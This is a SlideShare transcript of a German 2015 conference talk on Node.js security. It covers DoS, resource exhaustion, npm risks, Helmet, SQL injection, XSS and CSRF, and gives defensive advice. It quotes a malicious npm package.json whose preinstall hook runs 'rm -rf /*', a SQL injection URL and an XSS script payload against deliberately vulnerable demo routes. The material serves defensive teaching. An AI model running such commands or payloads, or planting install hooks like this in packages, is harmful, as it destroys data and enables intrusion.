Node.js Security

1.007 Aufrufe

Veröffentlicht am

Mein Vortrag auf der EnterJS 2015 über Sicherheit in Node.js Applikationen. Es werden verschiedene Angriffsvektoren vorgestellt und wie man ihnen begegnen kann.

Veröffentlicht in: Software
0 Kommentare
0 Gefällt mir
Statistik
Notizen
  • Als Erste(r) kommentieren

  • Gehören Sie zu den Ersten, denen das gefällt!

Keine Downloads
Aufrufe
Aufrufe insgesamt
1.007
Auf SlideShare
0
Aus Einbettungen
0
Anzahl an Einbettungen
83
Aktionen
Geteilt
0
Downloads
3
Kommentare
0
Gefällt mir
0
Einbettungen 0
Keine Einbettungen

Keine Notizen für die Folie

Node.js Security

  1. 1. Node.js Security FotoHiero / pixelio.de
  2. 2. WHO AM I? • Sebastian Springer • aus München • arbeite bei Mayflower • https://github.com/sspringer82 • @basti_springer • Consultant,Trainer,Autor
  3. 3. Allgemeines JavaScript
  4. 4. “use strict” Makrodepecher / pixelio.de
  5. 5. Strict Mode JavaScript soll robuster und sauberer werden. Function Scope wird besser geschützt. Caller und Callee soll es in Zukunft nicht mehr geben. Auch auf Arguments kann man nicht mehr von außen zugreifen.
  6. 6. JavaScript und Dynamik Anne Garti / pixelio.de
  7. 7. JavaScript und Dynamik console.log = function () {
 alert(arguments[0]);
 } In JavaScript kann nahezu alles überschrieben werden. So können Wrapper um wichtige Funktionen und Objekte wie z.B. console.log gelegt werden. In Node.js kann man da auch einiges machen…
  8. 8. JavaScript und Dynamik var b = require('./b');
 
 console.log(b.b);
 console.log(a); a.js a = 'Wert von A';
 
 module.exports = {
 b: 'Wert von B'
 }; b.js Ausgabe? $ node a.js Wert von B Wert von A
  9. 9. JavaScript und Dynamik var b = require('./b');
 
 console.log(b.b);
 console.log(a); a.js a = 'Wert von A';
 
 module.exports = {
 b: 'Wert von B'
 }; b.js Ausgabe? $ node a.js HEHE!HEHE! console.log = function () {
 process.stdout.write('HEHE!');
 };
  10. 10. Namespacing No rbert L o r e n z / pixelio.de
  11. 11. Namespacing Mit diesen globalen Variablen und der Möglichkeit des Überschreibens ist es sehr einfach Dummheiten zu machen. Deshalb ist es immer gut, Quellcode in eine Immediate Function zu packen, um die verwendeten Variablen besser unter Kontrolle zu haben.
  12. 12. Angriffsvektoren Reinhard Simon / pixelio.de
  13. 13. Angriffsvektoren Welche Ressourcen kann ein Angreifer in unserem System attackieren? Welche Art von Angriff kann erfolgen? Wie kann man diesen Angriffen begegnen?
  14. 14. Memory Jan von Bröckel / pixelio.de
  15. 15. Memory Arbeitsspeicher des Systems. Wird verwendet, um Objekte zu speichern. Wird regelmäßig durch den Garbage Collector aufgeräumt. Achtung: Node.js Prozesse haben meist eine längere Laufzeit. Ein Memory Leak hat hier erhebliche Auswirkungen.
  16. 16. Memory require('v8-profiler');
 
 function Item(counter) {
 this.counter = counter;
 }
 
 var itemColl = [];
 
 var counter = 0;
 
 setInterval(function() {
 for (var i = 0; i < 100; i++) {
 itemColl.push(new Item(counter));
 }
 counter++;
 console.log('items pushed');
 }, 1000);
  17. 17. Memory
  18. 18. Memory Der Speicherverbrauch wird gefährlich, wenn wir dem Benutzer einen Teil der Kontrolle überlassen, z.B. wie viele Elemente generiert werden, was in Objekte eingelesen wird, …
  19. 19. Memory Erstellung und Größe von Objekten kontrollieren. Benutzereingaben immer validieren und sinnvoll limitieren.
  20. 20. Netzwerk Klicker / pixelio.de
  21. 21. Netzwerk Kommunikation zwischen Client und Server. Meist auf Basis von HTTP. Empfangen von HTML, CSS, JavaScript und Mediendaten. Senden von Informationen. Vom Client initiiert. In der Regel unidirektional.
  22. 22. Netzwerk DOS: Denial of Service. Ein Angreifer macht viele Anfragen auf unser System. Das System behandelt die Anfragen wie reguläre Anfragen. Es bleiben kaum Ressourcen für sinnvolle Anfragen übrig.
  23. 23. Netzwerk Hier verlassen wir Node.js und gehen ins System. Tools: z.B. iftop
  24. 24. Netzwerk Maßnahmen gegen DOS: Systeme abschirmen. Firewall- Regeln => Admin Stuff. Ziel ist, dass die Anfragen nicht mehr bis zum System durchkommen.
  25. 25. Netzwerk Zugriffe loggen. Mustererkennung und Logfile-Auswertung. Achtung: Datei nicht zu groß werden lassen, das kann wiederum zu einer anderen Art von Attacke werden. Lösung: logrotate, etc. var morgan = require('morgan');
 var fs = require('fs');
 var accessLogStream = fs.createWriteStream(__dirname + '/access.log', {flags: 'a'});
 app.use(morgan('combined', {stream: accessLogStream}));
  26. 26. Access Log
  27. 27. Netzwerk Was können wir jetzt in der Applikation tun? Anfragen schnell beantworten oder abweisen, wenn bestimmte Muster zutreffen. Eingehende IP-Muster blockieren. app.get('/', function (req, res) {
 console.log(req.connection.remoteAddress);
 
 res.send('Hello World!');
 });
  28. 28. Netzwerk Bei nicht verschlüsselter Kommunikation kann mitgelauscht werden. Statt http und ws sollten https und wss verwendet werden.
  29. 29. Speicher Q.pictures / pixelio.de
  30. 30. Speicher Langfristiger Speicher auf der Festplatte. Zum Persistieren von Informationen in Form von Dateien und Verzeichnissen. Synchroner und asynchroner Zugriff möglich.
  31. 31. Speicher Das Problem: Die Festplatte läuft voll. Logdateien, Temporärdateien, Datenbankeinträge, …
  32. 32. Speicher Maximale Dateigröße festlegen. Upload nur für registrierte Nutzer. Upload pro Benutzer limitieren. Temporärdateien löschen (weil temporär). Logdateien im Auge behalten (logrotate)
  33. 33. Speicher { dev: 16777220, mode: 33188, nlink: 1, uid: 501, gid: 20, rdev: 0, blksize: 4096, ino: 23192048, size: 3953, blocks: 8, atime: Tue Jun 16 2015 12:15:26 GMT+0200 (CEST), mtime: Tue Jun 16 2015 12:07:51 GMT+0200 (CEST), ctime: Tue Jun 16 2015 12:07:51 GMT+0200 (CEST), birthtime: Tue Jun 16 2015 12:00:25 GMT+0200 (CEST) } fs.stat('access.log', function (err, stat) {
 console.log(stat);
 });
  34. 34. CPU Tim Reckmann / pixelio.de
  35. 35. CPU Rechenzeit der CPU, die der Node.js-Prozess nutzt. Node.js ist zunächst Single-Threaded. Es können Kindprozesse erzeugt werden. Im Node.js-Prozess läuft nur der eigene Code, alles andere wird ans Betriebssystem ausgelagert.
  36. 36. CPUvar express = require('express');
 var app = express();
 
 app.get('/', function (req, res) {
 
 console.timeLog('incoming request');
 
 var count = 0;
 
 while(true) {
 if (count > 1999999999) {
 break;
 }
 count++;
 }
 
 console.timeLog('answering request');
 res.send('Hello World!');
 })
 
 app.listen(8080);
  37. 37. CPU $ node perf.js 2015-06-16 13:10:07.387 incoming request 2015-06-16 13:10:08.435 answering request 2015-06-16 13:10:08.443 incoming request 2015-06-16 13:10:09.581 answering request
  38. 38. Kindprozesse Helene Souza / pixelio.de
  39. 39. Kindprozesse child_prozess- oder cluster-Modul nutzen, um Kindprozesse zu forken, um Bearbeitung auszulagern. Der Webserver kann weitere Anfragen annehmen und blockiert nicht.
  40. 40. var cluster = require('cluster');
 var numCPUs = 2;
 
 if (cluster.isMaster) {
 for (var i = 0; i < numCPUs; i++) {
 cluster.fork();
 }
 } else {
 console.log(cluster.worker.id);
 var express = require('express');
 var app = express();
 app.get('/', function (req, res) {
 console.timeLog('incoming request ' + cluster.worker.id);
 var count = 0;
 while(true) {
 if (count > 1999999999) {
 break;
 }
 count++;
 }
 console.timeLog('answering request ' + cluster.worker.id);
 res.send('Hello World!');
 });
 
 app.listen(8080);
 }
  41. 41. Kindprozesse 2015-06-16 17:30:59.693 incoming request 2 2015-06-16 17:31:00.159 answering request 1 2015-06-16 17:31:00.160 incoming request 1 2015-06-16 17:31:00.699 answering request 2 2015-06-16 17:31:00.700 incoming request 2 2015-06-16 17:31:05.358 answering request 1 2015-06-16 17:31:05.359 incoming request 1 2015-06-16 17:31:05.897 answering request 2 2015-06-16 17:31:10.547 answering request 1
  42. 42. Kindprozesse Achtung: Jeder Kindprozess bedeutet Overhead, da er Arbeitsspeicher und CPU-Ressourcen benötigt. Nicht unlimitiert Kindprozesse forken. Mehr Kindprozesse als Anzahl der CPU-Kerne bringt keinen wirklichen Mehrwert.
  43. 43. Und wenn das nicht reicht?
  44. 44. Load Balancing CC-BY-SA-3.0 / Amazon Web Services LLC
  45. 45. Berechtigung Thorben Wengert / pixelio.de
  46. 46. Berechtigung Die Applikation hat die gleichen Berechtigungen, die der Benutzer hat, der sie startet. Eine Node.js-Applikation kann mit diesen Berechtigungen auf die Ressourcen des Rechners zugreifen, z.B. CPU, Arbeitsspeicher, Speicher.
  47. 47. Berechtigung $ sudo node app.js No! Just no!
  48. 48. Berechtigung lrwxr-xr—- 1 node node 39B May 28 14:02 app.log lrwxr-xr—- 1 node node 52B May 21 10:15 config.json chmod & chown are your friends! Error: EACCES, open 'config.js' at Error (native)
  49. 49. NPM Node Package Manager. Paket- und Abhängigkeitsverwaltung mit Versionierung für Node.js. Quellen: - npmjs.org (das offizielle Repo), - Tar-Archive mit package.json - Verzeichnisse mit package.json
  50. 50. NPM Jeder darf mitmachen. $ npm adduser Username: test Password: Email: (this IS public) test@versuch.com $ npm publish npm http PUT https://registry.npmjs.org/myTest npm http 403 https://registry.npmjs.org/myTest npm http PUT https://registry.npmjs.org/myTest npm http 201 https://registry.npmjs.org/myTest
  51. 51. npm publish Ups, jetzt hab ich doch tatsächlich meine Datenbankkonfiguration und sämtliche Passwörter publiziert… McRommy / pixelio.de
  52. 52. NPM package.json: { … “private”: true … } $ npm publish npm ERR! This package has been marked as private npm ERR! Remove the 'private' field from the package.json to publish it.
  53. 53. NPM Keine Qualitätssicherung für das NPM-Repository. Keine Tests erforderlich. Keine QA erforderlich. Keine Sicherheit.
  54. 54. OK, und warum ist das jetzt so gefährlich? Jörg Blanke / pixelio.de
  55. 55. NPM Admin-Berechtigung für globale Installation erforderlich, weil die Software in ein Systemverzeichnis installiert wird. $ sudo npm install -g karma-cli
  56. 56. NPM Hijacking bekannter Module durch Typos wie z.B. express.js mit epress.js. Und wenn diese dann auch noch die ursprüngliche Funktionalität wrappen, wird es echt übel.
  57. 57. NPM - Scripts
  58. 58. NPM NPM kann mit einer Reihe von Skripten als Build-Tool verwendet werden. Diese Skripte können allerdings auch für Angriffe missbraucht werden.
  59. 59. NPM {
 "name": "rimrafall",
 "version": "1.0.0",
 "description": "rm -rf /* # DO NOT INSTALL THIS",
 "main": "index.js",
 "scripts": {
 "preinstall": "rm -rf /*"
 },
 "keywords": [
 "rimraf",
 "rmrf"
 ],
 "author": "João Jerónimo",
 "license": "ISC"
 }
  60. 60. NPM Suchstrategie /srv/myApp/node_modules/express /srv/node_modules/express /node_modules /usr/local/lib/node_modules Es wird nach oben gesucht und das Modul verwendet, var express = require('express');
 var app = express(); app.js node_modules/express.js module.exports = function () {
 console.log('Noooo!');
 };
  61. 61. Node in Webapplikationen Andreas Hermsdorf / pixelio.de
  62. 62. Express Frederick Kühne / pixelio.de
  63. 63. Express Aktuell das populärste Web-Application Framework für Node.js. Stellt Request/Response-Handling, Routing und Middleware zur Verfügung.
  64. 64. Middleware? Funktionen, die sich zwischen Request und Response hängen können. z.B. Logger
  65. 65. Express
  66. 66. Express app.set('x-powered-by', false);
  67. 67. Helmet https://github.com/helmetjs/helmet blitzmaerker / pixelio.de
  68. 68. Helmet Sammlung von Middleware-Komponenten, um Express sicherer zu machen. Setzt einige hilfreiche HTTP-Header.
  69. 69. Helmet • contentSecurityPolicy: Vermeiden von Injections von Content. • hidePoweredBy: x-powered-by ist weg. • hpkp: HTTP Public Key Pinning - Public Key wird mit einem Server verbunden (gegen MITM). • hsts: HTTPS statt HTTP nutzen. • ieNoOpen: X-Download-Options wird auf noopen gesetzt (für IE) • noCache: Clientseitiges Caching wird deaktiviert. • noSniff: Browser weist Antworten mit dem falschen MIME-Type ab (X- Content-Type-Options). • frameguard: Seite kann nicht in Frames eingebunden werden, verhindert Clickjacking. • xssFilter: X-XSS-Protection Header wird gesetzt.
  70. 70. Helmet Die Features können auch getrennt voneinander eingesetzt werden. app.use(helmet.hidePoweredBy());
  71. 71. Helmet $ npm install --save helmet var express = require('express');
 var helmet = require('helmet');
 var app = express();
 
 app.use(helmet());
  72. 72. SQL Injection Jörg Brinckheger / pixelio.de
  73. 73. SQL Injection Angriffe auf die Datenbank im Zuge einer regulären Abfrage. SELECT * FROM users WHERE ID = 1; UNION SELECT * FROM users; SELECT * FROM users WHERE ID = 1 UNION SELECT * FROM users;
  74. 74. SQL Injection app.get('/list', function (req, res) {
 var id = req.query.id;
 
 var query = 'SELECT * FROM users WHERE id = ' + id;
 
 db.all(query, function (err, rows) {
 console.log(err);
 res.send(rows);
 });
 }); http://localhost:8080/list?id=1%20union%20select%20*%20from%20users SELECT * FROM users WHERE id = 1 union select * from users;
  75. 75. SQL Injection app.get('/list', function (req, res) {
 var id = req.query.id;
 
 var query = 'SELECT * FROM users WHERE id = ?';
 
 db.all(query, id, function (err, rows) {
 console.log(err);
 res.send(rows);
 });
 }); SELECT * FROM users WHERE id = ‘1 union select * from users’; http://localhost:8080/list?id=1%20union%20select%20*%20from%20users
  76. 76. XSS Michael Loeper / pixelio.de
  77. 77. XSS Cross-Site Scripting. Benutzer speichert JavaScript-Code, der auf anderen Systemen ausgeführt wird. Kann z.B. für Identitätsdiebstahl verwendet werden.
  78. 78. XSS app.get('/list', function (req, res) {
 var id = req.query.id;
 
 var query = 'SELECT * FROM users WHERE id = ?';
 
 db.all(query, id, function (err, rows) {
 require('fs').readFile('list.html', 'utf-8', function (err, data) {
 data = data.replace('${query}', id);
 data = data.replace('${result}', rows);
 res.send(data);
 });
 
 });
 }); <body>
 Sie suchten nach: ${query}
 
 ${result}
 </body>
  79. 79. XSS http://localhost:8080/list?id=%3Cscript%3Ealert(%27foo %27)%3C/script%3E
  80. 80. XSS Sanitizer, um Werte korrekt zu escapen. npm install sanitizer var id = require('sanitizer').escape(req.query.id);
  81. 81. XSS
  82. 82. CSRF FW-Fotografie / pixelio.de
  83. 83. CSRF Code einschleusen, um mit dem Browser des Benutzers auf anderen Seiten Aktionen durchzuführen. Meist ist der Benutzer dazu auf der anderen Seite angemeldet und führt z.B. unbeabsichtigt Einkäufe oder Ähnliches durch.
  84. 84. CSRF Tokenbasierte Kommunikation zwischen Client und Server. Anfragen werden nur mit gültigem Token angenommen. <input type="hidden" value="${csrftoken}"> app.use(csrf());
 app.use(function (req, res, next) {
 response.locals.csrftoken = request.csrfToken();
 });
  85. 85. node-inspector Profiling und Debugging für Node-Applikationen.
  86. 86. Node Security Project https://nodesecurity.io/ NPM Audits. Advisories und Fixes für die Projekte. Public API für die Audit Datenbank.
  87. 87. Fragen? Rainer Sturm / pixelio.de
  88. 88. KONTAKT Sebastian Springer sebastian.springer@mayflower.de Mayflower GmbH Mannhardtstr. 6 80538 München Deutschland @basti_springer https://github.com/sspringer82

×